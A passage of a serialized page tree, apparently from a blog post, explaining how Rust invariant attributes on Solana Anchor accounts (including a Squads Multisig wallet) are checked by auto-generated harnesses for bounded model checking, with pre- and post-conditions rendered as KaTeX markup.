",{"type":23,"tag":230,"props":23112,"children":23113},{"style":268},[23114],{"type":29,"value":12274},{"type":23,"tag":230,"props":23116,"children":23117},{"style":274},[23118],{"type":29,"value":16124},{"type":23,"tag":230,"props":23120,"children":23121},{"style":268},[23122],{"type":29,"value":312},{"type":23,"tag":230,"props":23124,"children":23125},{"style":274},[23126],{"type":29,"value":23127},"liabilities\n",{"type":23,"tag":230,"props":23129,"children":23130},{"class":232,"line":280},[23131],{"type":23,"tag":230,"props":23132,"children":23133},{"style":274},[23134],{"type":29,"value":22573},{"type":23,"tag":230,"props":23136,"children":23137},{"class":232,"line":334},[23138,23142,23147],{"type":23,"tag":230,"props":23139,"children":23140},{"style":256},[23141],{"type":29,"value":11733},{"type":23,"tag":230,"props":23143,"children":23144},{"style":676},[23145],{"type":29,"value":23146}," UserStatement",{"type":23,"tag":230,"props":23148,"children":23149},{"style":274},[23150],{"type":29,"value":277},{"type":23,"tag":230,"props":23152,"children":23153},{"class":232,"line":371},[23154,23159,23164,23168,23173],{"type":23,"tag":230,"props":23155,"children":23156},{"style":256},[23157],{"type":29,"value":23158},"    pub",{"type":23,"tag":230,"props":23160,"children":23161},{"style":262},[23162],{"type":29,"value":23163}," owner",{"type":23,"tag":230,"props":23165,"children":23166},{"style":268},[23167],{"type":29,"value":218},{"type":23,"tag":230,"props":23169,"children":23170},{"style":676},[23171],{"type":29,"value":23172}," Pubkey",{"type":23,"tag":230,"props":23174,"children":23175},{"style":274},[23176],{"type":29,"value":388},{"type":23,"tag":230,"props":23178,"children":23179},{"class":232,"line":391},[23180,23184,23189,23193,23197],{"type":23,"tag":230,"props":23181,"children":23182},{"style":256},[23183],{"type":29,"value":23158},{"type":23,"tag":230,"props":23185,"children":23186},{"style":262},[23187],{"type":29,"value":23188}," assets",{"type":23,"tag":230,"props":23190,"children":23191},{"style":268},[23192],{"type":29,"value":218},{"type":23,"tag":230,"props":23194,"children":23195},{"style":676},[23196],{"type":29,"value":8197},{"type":23,"tag":230,"props":23198,"children":23199},{"style":274},[23200],{"type":29,"value":388},{"type":23,"tag":230,"props":23202,"children":23203},{"class":232,"line":400},[23204,23208,23213,23217,23221],{"type":23,"tag":230,"props":23205,"children":23206},{"style":256},[23207],{"type":29,"value":23158},{"type":23,"tag":230,"props":23209,"children":23210},{"style":262},[23211],{"type":29,"value":23212}," liabilities",{"type":23,"tag":230,"props":23214,"children":23215},{"style":268},[23216],{"type":29,"value":218},{"type":23,"tag":230,"props":23218,"children":23219},{"style":676},[23220],{"type":29,"value":8197},{"type":23,"tag":230,"props":23222,"children":23223},{"style":274},[23224],{"type":29,"value":388},{"type":23,"tag":230,"props":23226,"children":23227},{"class":232,"line":444},[23228],{"type":23,"tag":230,"props":23229,"children":23230},{"style":274},[23231],{"type":29,"value":975},{"type":23,"tag":32,"props":23233,"children":23234},{},[23235,23237,23242],{"type":29,"value":23236},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":71,"props":23238,"children":23240},{"className":23239},[],[23241],{"type":29,"value":23068},{"type":29,"value":23243}," is created or modified.",{"type":23,"tag":32,"props":23245,"children":23246},{},[23247,23249,23255],{"type":29,"value":23248},"In another example, we developed the following invariant for the ",{"type":23,"tag":181,"props":23250,"children":23252},{"href":21144,"rel":23251},[185],[23253],{"type":29,"value":23254},"Squads Multisig",{"type":29,"value":23256}," wallet account:",{"type":23,"tag":220,"props":23258,"children":23260},{"code":23259,"language":5319,"meta":7,"className":5320,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[23261],{"type":23,"tag":71,"props":23262,"children":23263},{"__ignoreMap":7},[23264,23271,23278,23307,23366,23395,23447,23454,23475,23505,23535,23565,23594,23624,23654,23683,23723],{"type":23,"tag":230,"props":23265,"children":23266},{"class":232,"line":233},[23267],{"type":23,"tag":230,"props":23268,"children":23269},{"style":274},[23270],{"type":29,"value":23085},{"type":23,"tag":230,"props":23272,"children":23273},{"class":232,"line":243},[23274],{"type":23,"tag":230,"props":23275,"children":23276},{"style":274},[23277],{"type":29,"value":23093},{"type":23,"tag":230,"props":23279,"children":23280},{"class":232,"line":252},[23281,23285,23289,23293,23298,23302],{"type":23,"tag":230,"props":23282,"children":23283},{"style":268},[23284],{"type":29,"value":3120},{"type":23,"tag":230,"props":23286,"children":23287},{"style":274},[23288],{"type":29,"value":16040},{"type":23,"tag":230,"props":23290,"children":23291},{"style":268},[23292],{"type":29,"value":312},{"type":23,"tag":230,"props":23294,"children":23295},{"style":274},[23296],{"type":29,"value":23297},"keys",{"type":23,"tag":230,"props":23299,"children":23300},{"style":268},[23301],{"type":29,"value":312},{"type":23,"tag":230,"props":23303,"children":23304},{"style":274},[23305],{"type":29,"value":23306},"is_empty()\n",{"type":23,"tag":230,"props":23308,"children":23309},{"class":232,"line":280},[23310,23314,23319,23323,23327,23331,23336,23340,23345,23349,23354,23358,23362],{"type":23,"tag":230,"props":23311,"children":23312},{"style":268},[23313],{"type":29,"value":17946},{"type":23,"tag":230,"props":23315,"children":23316},{"style":274},[23317],{"type":29,"value":23318}," (self",{"type":23,"tag":230,"props":23320,"children":23321},{"style":268},[23322],{"type":29,"value":312},{"type":23,"tag":230,"props":23324,"children":23325},{"style":274},[23326],{"type":29,"value":23297},{"type":23,"tag":230,"props":23328,"children":23329},{"style":268},[23330],{"type":29,"value":312},{"type":23,"tag":230,"props":23332,"children":23333},{"style":274},[23334],{"type":29,"value":23335},"len() ",{"type":23,"tag":230,"props":23337,"children":23338},{"style":268},[23339],{"type":29,"value":21730},{"type":23,"tag":230,"props":23341,"children":23342},{"style":676},[23343],{"type":29,"value":23344}," u16",{"type":23,"tag":230,"props":23346,"children":23347},{"style":268},[23348],{"type":29,"value":5818},{"type":23,"tag":230,"props":23350,"children":23351},{"style":676},[23352],{"type":29,"value":23353},"MAX",{"type":23,"tag":230,"props":23355,"children":23356},{"style":256},[23357],{"type":29,"value":3589},{"type":23,"tag":230,"props":23359,"children":23360},{"style":676},[23361],{"type":29,"value":16058},{"type":23,"tag":230,"props":23363,"children":23364},{"style":274},[23365],{"type":29,"value":4516},{"type":23,"tag":230,"props":23367,"children":23368},{"class":232,"line":334},[23369,23373,23377,23381,23386,23390],{"type":23,"tag":230,"props":23370,"children":23371},{"style":268},[23372],{"type":29,"value":17946},{"type":23,"tag":230,"props":23374,"children":23375},{"style":274},[23376],{"type":29,"value":23318},{"type":23,"tag":230,"props":23378,"children":23379},{"style":268},[23380],{"type":29,"value":312},{"type":23,"tag":230,"props":23382,"children":23383},{"style":274},[23384],{"type":29,"value":23385},"threshold ",{"type":23,"tag":230,"props":23387,"children":23388},{"style":268},[23389],{"type":29,"value":12274},{"type":23,"tag":230,"props":23391,"children":23392},{"style":274},[23393],{"type":29,"value":23394}," 1)\n",{"type":23,"tag":230,"props":23396,"children":23397},{"class":232,"line":371},[23398,23402,23406,23410,23414,23418,23422,23426,23430,23434,23438,23442],{"type":23,"tag":230,"props":23399,"children":23400},{"style":268},[23401],{"type":29,"value":17946},{"type":23,"tag":230,"props":23403,"children":23404},{"style":274},[23405],{"type":29,"value":23318},{"type":23,"tag":230,"props":23407,"children":23408},{"style":268},[23409],{"type":29,"value":312},{"type":23,"tag":230,"props":23411,"children":23412},{"style":274},[23413],{"type":29,"value":23385},{"type":23,"tag":230,"props":23415,"children":23416},{"style":256},[23417],{"type":29,"value":4343},{"type":23,"tag":230,"props":23419,"children":23420},{"style":676},[23421],{"type":29,"value":16058},{"type":23,"tag":230,"props":23423,"children":23424},{"style":268},[23425],{"type":29,"value":10532},{"type":23,"tag":230,"props":23427,"children":23428},{"style":274},[23429],{"type":29,"value":16124},{"type":23,"tag":230,"props":23431,"children":23432},{"style":268},[23433],{"type":29,"value":312},{"type":23,"tag":230,"props":23435,"children":23436},{"style":274},[23437],{"type":29,"value":23297},{"type":23,"tag":230,"props":23439,"children":23440},{"style":268},[23441],{"type":29,"value":312},{"type":23,"tag":230,"props":23443,"children":23444},{"style":274},[23445],{"type":29,"value":23446},"len())\n",{"type":23,"tag":230,"props":23448,"children":23449},{"class":232,"line":391},[23450],{"type":23,"tag":230,"props":23451,"children":23452},{"style":274},[23453],{"type":29,"value":22573},{"type":23,"tag":230,"props":23455,"children":23456},{"class":232,"line":400},[23457,23461,23466,23471],{"type":23,"tag":230,"props":23458,"children":23459},{"style":256},[23460],{"type":29,"value":16017},{"type":23,"tag":230,"props":23462,"children":23463},{"style":256},[23464],{"type":29,"value":23465}," struct",{"type":23,"tag":230,"props":23467,"children":23468},{"style":676},[23469],{"type":29,"value":23470}," Ms",{"type":23,"tag":230,"props":23472,"children":23473},{"style":274},[23474],{"type":29,"value":277},{"type":23,"tag":230,"props":23476,"children":23477},{"class":232,"line":444},[23478,23482,23487,23491,23495,23500],{"type":23,"tag":230,"props":23479,"children":23480},{"style":256},[23481],{"type":29,"value":23158},{"type":23,"tag":230,"props":23483,"children":23484},{"style":262},[23485],{"type":29,"value":23486}," threshold",{"type":23,"tag":230,"props":23488,"children":23489},{"style":268},[23490],{"type":29,"value":218},{"type":23,"tag":230,"props":23492,"children":23493},{"style":676},[23494],{"type":29,"value":23344},{"type":23,"tag":230,"props":23496,"children":23497},{"style":274},[23498],{"type":29,"value":23499},",               ",{"type":23,"tag":230,"props":23501,"children":23502},{"style":237},[23503],{"type":29,"value":23504},"// threshold for signatures\n",{"type":23,"tag":230,"props":23506,"children":23507},{"class":232,"line":453},[23508,23512,23517,23521,23525,23530],{"type":23,"tag":230,"props":23509,"children":23510},{"style":256},[23511],{"type":29,"value":23158},{"type":23,"tag":230,"props":23513,"children":23514},{"style":262},[23515],{"type":29,"value":23516}," authority_index",{"type":23,"tag":230,"props":23518,"children":23519},{"style":268},[23520],{"type":29,"value":218},{"type":23,"tag":230,"props":23522,"children":23523},{"style":676},[23524],{"type":29,"value":23344},{"type":23,"tag":230,"props":23526,"children":23527},{"style":274},[23528],{"type":29,"value":23529},",         ",{"type":23,"tag":230,"props":23531,"children":23532},{"style":237},[23533],{"type":29,"value":23534},"// index to seed other authorities under this multisig\n",{"type":23,"tag":230,"props":23536,"children":23537},{"class":232,"line":462},[23538,23542,23547,23551,23555,23560],{"type":23,"tag":230,"props":23539,"children":23540},{"style":256},[23541],{"type":29,"value":23158},{"type":23,"tag":230,"props":23543,"children":23544},{"style":262},[23545],{"type":29,"value":23546}," transaction_index",{"type":23,"tag":230,"props":23548,"children":23549},{"style":268},[23550],{"type":29,"value":218},{"type":23,"tag":230,"props":23552,"children":23553},{"style":676},[23554],{"type":29,"value":19870},{"type":23,"tag":230,"props":23556,"children":23557},{"style":274},[23558],{"type":29,"value":23559},",       ",{"type":23,"tag":230,"props":23561,"children":23562},{"style":237},[23563],{"type":29,"value":23564},"// look up and seed reference for transactions\n",{"type":23,"tag":230,"props":23566,"children":23567},{"class":232,"line":471},[23568,23572,23577,23581,23585,23589],{"type":23,"tag":230,"props":23569,"children":23570},{"style":256},[23571],{"type":29,"value":23158},{"type":23,"tag":230,"props":23573,"children":23574},{"style":262},[23575],{"type":29,"value":23576}," ms_change_index",{"type":23,"tag":230,"props":23578,"children":23579},{"style":268},[23580],{"type":29,"value":218},{"type":23,"tag":230,"props":23582,"children":23583},{"style":676},[23584],{"type":29,"value":19870},{"type":23,"tag":230,"props":23586,"children":23587},{"style":274},[23588],{"type":29,"value":23529},{"type":23,"tag":230,"props":23590,"children":23591},{"style":237},[23592],{"type":29,"value":23593},"// the last executed/closed transaction\n",{"type":23,"tag":230,"props":23595,"children":23596},{"class":232,"line":500},[23597,23601,23606,23610,23614,23619],{"type":23,"tag":230,"props":23598,"children":23599},{"style":256},[23600],{"type":29,"value":23158},{"type":23,"tag":230,"props":23602,"children":23603},{"style":262},[23604],{"type":29,"value":23605}," bump",{"type":23,"tag":230,"props":23607,"children":23608},{"style":268},[23609],{"type":29,"value":218},{"type":23,"tag":230,"props":23611,"children":23612},{"style":676},[23613],{"type":29,"value":16961},{"type":23,"tag":230,"props":23615,"children":23616},{"style":274},[23617],{"type":29,"value":23618},",                     ",{"type":23,"tag":230,"props":23620,"children":23621},{"style":237},[23622],{"type":29,"value":23623},"// bump for the multisig seed\n",{"type":23,"tag":230,"props":23625,"children":23626},{"class":232,"line":514},[23627,23631,23636,23640,23644,23649],{"type":23,"tag":230,"props":23628,"children":23629},{"style":256},[23630],{"type":29,"value":23158},{"type":23,"tag":230,"props":23632,"children":23633},{"style":262},[23634],{"type":29,"value":23635}," create_key",{"type":23,"tag":230,"props":23637,"children":23638},{"style":268},[23639],{"type":29,"value":218},{"type":23,"tag":230,"props":23641,"children":23642},{"style":676},[23643],{"type":29,"value":23172},{"type":23,"tag":230,"props":23645,"children":23646},{"style":274},[23647],{"type":29,"value":23648},",           ",{"type":23,"tag":230,"props":23650,"children":23651},{"style":237},[23652],{"type":29,"value":23653},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":230,"props":23655,"children":23656},{"class":232,"line":897},[23657,23661,23666,23670,23674,23678],{"type":23,"tag":230,"props":23658,"children":23659},{"style":256},[23660],{"type":29,"value":23158},{"type":23,"tag":230,"props":23662,"children":23663},{"style":262},[23664],{"type":29,"value":23665}," allow_external_execute",{"type":23,"tag":230,"props":23667,"children":23668},{"style":268},[23669],{"type":29,"value":218},{"type":23,"tag":230,"props":23671,"children":23672},{"style":676},[23673],{"type":29,"value":14381},{"type":23,"tag":230,"props":23675,"children":23676},{"style":274},[23677],{"type":29,"value":684},{"type":23,"tag":230,"props":23679,"children":23680},{"style":237},[23681],{"type":29,"value":23682},"// allow non-member keys to execute txs\n",{"type":23,"tag":230,"props":23684,"children":23685},{"class":232,"line":960},[23686,23690,23695,23699,23704,23708,23713,23718],{"type":23,"tag":230,"props":23687,"children":23688},{"style":256},[23689],{"type":29,"value":23158},{"type":23,"tag":230,"props":23691,"children":23692},{"style":262},[23693],{"type":29,"value":23694}," keys",{"type":23,"tag":230,"props":23696,"children":23697},{"style":268},[23698],{"type":29,"value":218},{"type":23,"tag":230,"props":23700,"children":23701},{"style":676},[23702],{"type":29,"value":23703}," Vec",{"type":23,"tag":230,"props":23705,"children":23706},{"style":274},[23707],{"type":29,"value":8143},{"type":23,"tag":230,"props":23709,"children":23710},{"style":676},[23711],{"type":29,"value":23712},"Pubkey",{"type":23,"tag":230,"props":23714,"children":23715},{"style":274},[23716],{"type":29,"value":23717},">,            ",{"type":23,"tag":230,"props":23719,"children":23720},{"style":237},[23721],{"type":29,"value":23722},"// keys of the members\n",{"type":23,"tag":230,"props":23724,"children":23725},{"class":232,"line":969},[23726],{"type":23,"tag":230,"props":23727,"children":23728},{"style":274},[23729],{"type":29,"value":975},{"type":23,"tag":32,"props":23731,"children":23732},{},[23733],{"type":29,"value":23734},"Here we are verifying multiple things at once:",{"type":23,"tag":98,"props":23736,"children":23737},{},[23738,23749,23760,23771],{"type":23,"tag":102,"props":23739,"children":23740},{},[23741,23747],{"type":23,"tag":71,"props":23742,"children":23744},{"className":23743},[],[23745],{"type":29,"value":23746},"!self.keys.is_empty()",{"type":29,"value":23748}," : ensure there is at least one member",{"type":23,"tag":102,"props":23750,"children":23751},{},[23752,23758],{"type":23,"tag":71,"props":23753,"children":23755},{"className":23754},[],[23756],{"type":29,"value":23757},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":23759}," : set an upper limit of 65535 members",{"type":23,"tag":102,"props":23761,"children":23762},{},[23763,23769],{"type":23,"tag":71,"props":23764,"children":23766},{"className":23765},[],[23767],{"type":29,"value":23768},"self.threshold >= 1",{"type":29,"value":23770}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":102,"props":23772,"children":23773},{},[23774,23780],{"type":23,"tag":71,"props":23775,"children":23777},{"className":23776},[],[23778],{"type":29,"value":23779},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":23781}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":24,"props":23783,"children":23785},{"id":23784},"verification-how-do-we-check-that-our-model-is-correct",[23786],{"type":29,"value":23787},"Verification: How do we check that our model is correct?",{"type":23,"tag":32,"props":23789,"children":23790},{},[23791,23793,23797,23799,23804],{"type":29,"value":23792},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":2258,"props":23794,"children":23795},{},[23796],{"type":29,"value":22283},{"type":29,"value":23798}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":2258,"props":23800,"children":23801},{},[23802],{"type":29,"value":23803},"automagically",{"type":29,"value":23805}," for anchor-lang programs.",{"type":23,"tag":32,"props":23807,"children":23808},{},[23809,23811,23817,23819,23824,23826,23831,23832,23837,23839,23844,23846,23851,23852,23858,23860,23866,23867,23873],{"type":29,"value":23810},"Specifically, for a given ",{"type":23,"tag":71,"props":23812,"children":23814},{"className":23813},[],[23815],{"type":29,"value":23816},"Context\u003CT>",{"type":29,"value":23818}," with ",{"type":23,"tag":2258,"props":23820,"children":23821},{},[23822],{"type":29,"value":23823},"incoming",{"type":29,"value":23825}," accounts of types (",{"type":23,"tag":71,"props":23827,"children":23829},{"className":23828},[],[23830],{"type":29,"value":23055},{"type":29,"value":6919},{"type":23,"tag":71,"props":23833,"children":23835},{"className":23834},[],[23836],{"type":29,"value":6059},{"type":29,"value":23838},") and ",{"type":23,"tag":2258,"props":23840,"children":23841},{},[23842],{"type":29,"value":23843},"outgoing",{"type":29,"value":23845}," accounts of type (",{"type":23,"tag":71,"props":23847,"children":23849},{"className":23848},[],[23850],{"type":29,"value":6059},{"type":29,"value":6919},{"type":23,"tag":71,"props":23853,"children":23855},{"className":23854},[],[23856],{"type":29,"value":23857},"close",{"type":29,"value":23859},") we define a ",{"type":23,"tag":71,"props":23861,"children":23863},{"className":23862},[],[23864],{"type":29,"value":23865},"pre_condition",{"type":29,"value":112},{"type":23,"tag":71,"props":23868,"children":23870},{"className":23869},[],[23871],{"type":29,"value":23872},"post_condition",{"type":29,"value":23874}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":32,"props":23876,"children":23877},{},[23878],{"type":23,"tag":71,"props":23879,"children":23881},{"className":23880},[6318,6319],[23882],{"type":23,"tag":230,"props":23883,"children":23885},{"className":23884},[6324],[23886],{"type":23,"tag":230,"props":23887,"children":23889},{"className":23888,"ariaHidden":1726},[6329],[23890,23926],{"type":23,"tag":230,"props":23891,"children":23893},{"className":23892},[6334],[23894,23899,23907,23912,23916,23922],{"type":23,"tag":230,"props":23895,"children":23898},{"className":23896,"style":23897},[6339],"height:0.6833em;",[],{"type":23,"tag":230,"props":23900,"children":23904},{"className":23901,"style":23903},[6345,23902],"mathnormal","margin-right:0.13889em;",[23905],{"type":29,"value":23906},"P",{"type":23,"tag":230,"props":23908,"children":23910},{"className":23909},[6345],[23911],{"type":29,"value":6358},{"type":23,"tag":230,"props":23913,"children":23915},{"className":23914,"style":6524},[6426],[],{"type":23,"tag":230,"props":23917,"children":23919},{"className":23918},[6529],[23920],{"type":29,"value":23921},":=",{"type":23,"tag":230,"props":23923,"children":23925},{"className":23924,"style":6524},[6426],[],{"type":23,"tag":230,"props":23927,"children":23929},{"className":23928},[6334],[23930,23935,24075,24079],{"type":23,"tag":230,"props":23931,"children":23934},{"className":23932,"style":23933},[6339],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":230,"props":23936,"children":23939},{"className":23937},[23938],"mop",[23940,23949],{"type":23,"tag":230,"props":23941,"children":23946},{"className":23942,"style":23945},[23938,23943,23944],"op-symbol","small-op","position:relative;top:0em;",[23947],{"type":29,"value":23948},"⋀",{"type":23,"tag":230,"props":23950,"children":23952},{"className":23951},[6362],[23953],{"type":23,"tag":230,"props":23954,"children":23957},{"className":23955},[6367,23956],"vlist-t2",[23958,24063],{"type":23,"tag":230,"props":23959,"children":23961},{"className":23960},[6372],[23962,24056],{"type":23,"tag":230,"props":23963,"children":23966},{"className":23964,"style":23965},[6377],"height:0.2253em;",[23967],{"type":23,"tag":230,"props":23968,"children":23970},{"style":23969},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[23971,23975],{"type":23,"tag":230,"props":23972,"children":23974},{"className":23973,"style":6387},[6386],[],{"type":23,"tag":230,"props":23976,"children":23978},{"className":23977},[6392,6393,6394,6395],[23979],{"type":23,"tag":230,"props":23980,"children":23982},{"className":23981},[6345,6395],[23983,23988,23994,24004,24010,24019,24028,24034,24039,24045,24050],{"type":23,"tag":230,"props":23984,"children":23986},{"className":23985},[6345,23902,6395],[23987],{"type":29,"value":181},{"type":23,"tag":230,"props":23989,"children":23991},{"className":23990},[6345,23902,6395],[23992],{"type":29,"value":23993},"cc",{"type":23,"tag":230,"props":23995,"children":23997},{"className":23996},[6426,6395],[23998],{"type":23,"tag":230,"props":23999,"children":24001},{"className":24000},[6395],[24002],{"type":29,"value":24003}," ",{"type":23,"tag":230,"props":24005,"children":24007},{"className":24006},[6529,6395],[24008],{"type":29,"value":24009},"∈",{"type":23,"tag":230,"props":24011,"children":24013},{"className":24012},[6426,6395],[24014],{"type":23,"tag":230,"props":24015,"children":24017},{"className":24016},[6395],[24018],{"type":29,"value":24003},{"type":23,"tag":230,"props":24020,"children":24022},{"className":24021},[6345,29,6395],[24023],{"type":23,"tag":230,"props":24024,"children":24026},{"className":24025},[6345,6395],[24027],{"type":29,"value":23823},{"type":23,"tag":230,"props":24029,"children":24032},{"className":24030},[24031,6395],"mopen",[24033],{"type":29,"value":302},{"type":23,"tag":230,"props":24035,"children":24037},{"className":24036},[6345,23902,6395],[24038],{"type":29,"value":2148},{"type":23,"tag":230,"props":24040,"children":24042},{"className":24041},[6345,23902,6395],[24043],{"type":29,"value":24044},"t",{"type":23,"tag":230,"props":24046,"children":24048},{"className":24047},[6345,23902,6395],[24049],{"type":29,"value":4511},{"type":23,"tag":230,"props":24051,"children":24054},{"className":24052},[24053,6395],"mclose",[24055],{"type":29,"value":5467},{"type":23,"tag":230,"props":24057,"children":24060},{"className":24058},[24059],"vlist-s",[24061],{"type":29,"value":24062},"​",{"type":23,"tag":230,"props":24064,"children":24066},{"className":24065},[6372],[24067],{"type":23,"tag":230,"props":24068,"children":24071},{"className":24069,"style":24070},[6377],"height:0.4747em;",[24072],{"type":23,"tag":230,"props":24073,"children":24074},{},[],{"type":23,"tag":230,"props":24076,"children":24078},{"className":24077,"style":6465},[6426],[],{"type":23,"tag":230,"props":24080,"children":24082},{"className":24081},[6345],[24083,24093,24098,24103,24108],{"type":23,"tag":230,"props":24084,"children":24086},{"className":24085},[6345,29],[24087],{"type":23,"tag":230,"props":24088,"children":24090},{"className":24089},[6345],[24091],{"type":29,"value":24092},"invariant",{"type":23,"tag":230,"props":24094,"children":24096},{"className":24095},[24031],[24097],{"type":29,"value":302},{"type":23,"tag":230,"props":24099,"children":24101},{"className":24100},[6345,23902],[24102],{"type":29,"value":181},{"type":23,"tag":230,"props":24104,"children":24106},{"className":24105},[6345,23902],[24107],{"type":29,"value":23993},{"type":23,"tag":230,"props":24109,"children":24111},{"className":24110},[24053],[24112],{"type":29,"value":5467},{"type":23,"tag":32,"props":24114,"children":24115},{},[24116],{"type":23,"tag":71,"props":24117,"children":24119},{"className":24118},[6318,6319],[24120],{"type":23,"tag":230,"props":24121,"children":24123},{"className":24122},[6324],[24124],{"type":23,"tag":230,"props":24125,"children":24127},{"className":24126,"ariaHidden":1726},[6329],[24128,24159],{"type":23,"tag":230,"props":24129,"children":24131},{"className":24130},[6334],[24132,24136,24141,24146,24150,24155],{"type":23,"tag":230,"props":24133,"children":24135},{"className":24134,"style":23897},[6339],[],{"type":23,"tag":230,"props":24137,"children":24139},{"className":24138,"style":23903},[6345,23902],[24140],{"type":29,"value":23906},{"type":23,"tag":230,"props":24142,"children":24144},{"className":24143},[6345],[24145],{"type":29,"value":6348},{"type":23,"tag":230,"props":24147,"children":24149},{"className":24148,"style":6524},[6426],[],{"type":23,"tag":230,"props":24151,"children":24153},{"className":24152},[6529],[24154],{"type":29,"value":23921},{"type":23,"tag":230,"props":24156,"children":24158},{"className":24157,"style":6524},[6426],[],{"type":23,"tag":230,"props":24160,"children":24162},{"className":24161},[6334],[24163,24167,24290,24294],{"type":23,"tag":230,"props":24164,"children":24166},{"className":24165,"style":23933},[6339],[],{"type":23,"tag":230,"props":24168,"children":24170},{"className":24169},[23938],[24171,24176],{"type":23,"tag":230,"props":24172,"children":24174},{"className":24173,"style":23945},[23938,23943,23944],[24175],{"type":29,"value":23948},{"type":23,"tag":230,"props":24177,"children":24179},{"className":24178},[6362],[24180],{"type":23,"tag":230,"props":24181,"children":24183},{"className":24182},[6367,23956],[24184,24279],{"type":23,"tag":230,"props":24185,"children":24187},{"className":24186},[6372],[24188,24274],{"type":23,"tag":230,"props":24189,"children":24191},{"className":24190,"style":23965},[6377],[24192],{"type":23,"tag":230,"props":24193,"children":24194},{"style":23969},[24195,24199],{"type":23,"tag":230,"props":24196,"children":24198},{"className":24197,"style":6387},[6386],[],{"type":23,"tag":230,"props":24200,"children":24202},{"className":24201},[6392,6393,6394,6395],[24203],{"type":23,"tag":230,"props":24204,"children":24206},{"className":24205},[6345,6395],[24207,24212,24217,24226,24231,24240,24249,24254,24259,24264,24269],{"type":23,"tag":230,"props":24208,"children":24210},{"className":24209},[6345,23902,6395],[24211],{"type":29,"value":181},{"type":23,"tag":230,"props":24213,"children":24215},{"className":24214},[6345,23902,6395],[24216],{"type":29,"value":23993},{"type":23,"tag":230,"props":24218,"children":24220},{"className":24219},[6426,6395],[24221],{"type":23,"tag":230,"props":24222,"children":24224},{"className":24223},[6395],[24225],{"type":29,"value":24003},{"type":23,"tag":230,"props":24227,"children":24229},{"className":24228},[6529,6395],[24230],{"type":29,"value":24009},{"type":23,"tag":230,"props":24232,"children":24234},{"className":24233},[6426,6395],[24235],{"type":23,"tag":230,"props":24236,"children":24238},{"className":24237},[6395],[24239],{"type":29,"value":24003},{"type":23,"tag":230,"props":24241,"children":24243},{"className":24242},[6345,29,6395],[24244],{"type":23,"tag":230,"props":24245,"children":24247},{"className":24246},[6345,6395],[24248],{"type":29,"value":23843},{"type":23,"tag":230,"props":24250,"children":24252},{"className":24251},[24031,6395],[24253],{"type":29,"value":302},{"type":23,"tag":230,"props":24255,"children":24257},{"className":24256},[6345,23902,6395],[24258],{"type":29,"value":2148},{"type":23,"tag":230,"props":24260,"children":24262},{"className":24261},[6345,23902,6395],[24263],{"type":29,"value":24044},{"type":23,"tag":230,"props":24265,"children":24267},{"className":24266},[6345,23902,6395],[24268],{"type":29,"value":4511},{"type":23,"tag":230,"props":24270,"children":24272},{"className":24271},[24053,6395],[24273],{"type":29,"value":5467},{"type":23,"tag":230,"props":24275,"children":24277},{"className":24276},[24059],[24278],{"type":29,"value":24062},{"type":23,"tag":230,"props":24280,"children":24282},{"className":24281},[6372],[24283],{"type":23,"tag":230,"props":24284,"children":24286},{"className":24285,"style":24070},[6377],[24287],{"type":23,"tag":230,"props":24288,"children":24289},{},[],{"type":23,"tag":230,"props":24291,"children":24293},{"className":24292,"style":6465},[6426],[],{"type":23,"tag":230,"props":24295,"children":24297},{"className":24296},[6345],[24298,24307,24312,24317,24322],{"type":23,"tag":230,"props":24299,"children":24301},{"className":24300},[6345,29],[24302],{"type":23,"tag":230,"props":24303,"children":24305},{"className":24304},[6345],[24306],{"type":29,"value":24092},{"type":23,"tag":230,"props":24308,"children":24310},{"className":24309},[24031],[24311],{"type":29,"value":302},{"type":23,"tag":230,"props":24313,"children":24315},{"className":24314},[6345,23902],[24316],{"type":29,"value":181},{"type":23,"tag":230,"props":24318,"children":24320},{"className":24319},[6345,23902],[24321],{"type":29,"value":23993},{"type":23,"tag":230,"props":24323,"children":24325},{"className":24324},[24053],[24326],{"type":29,"value":5467},{"type":23,"tag":32,"props":24328,"children":24329},{},[24330],{"type":29,"value":24331},"Our instruction invariants are represented as:",{"type":23,"tag":98,"props":24333,"children":24334},{},[24335,24371],{"type":23,"tag":102,"props":24336,"children":24337},{},[24338,24365,24366],{"type":23,"tag":71,"props":24339,"children":24341},{"className":24340},[6318,6319],[24342],{"type":23,"tag":230,"props":24343,"children":24345},{"className":24344},[6324],[24346],{"type":23,"tag":230,"props":24347,"children":24349},{"className":24348,"ariaHidden":1726},[6329],[24350],{"type":23,"tag":230,"props":24351,"children":24353},{"className":24352},[6334],[24354,24358],{"type":23,"tag":230,"props":24355,"children":24357},{"className":24356,"style":23897},[6339],[],{"type":23,"tag":230,"props":24359,"children":24362},{"className":24360,"style":24361},[6345,23902],"margin-right:0.05764em;",[24363],{"type":29,"value":24364},"S",{"type":29,"value":817},{"type":23,"tag":71,"props":24367,"children":24369},{"className":24368},[],[24370],{"type":29,"value":22469},{"type":23,"tag":102,"props":24372,"children":24373},{},[24374,24400,24401],{"type":23,"tag":71,"props":24375,"children":24377},{"className":24376},[6318,6319],[24378],{"type":23,"tag":230,"props":24379,"children":24381},{"className":24380},[6324],[24382],{"type":23,"tag":230,"props":24383,"children":24385},{"className":24384,"ariaHidden":1726},[6329],[24386],{"type":23,"tag":230,"props":24387,"children":24389},{"className":24388},[6334],[24390,24394],{"type":23,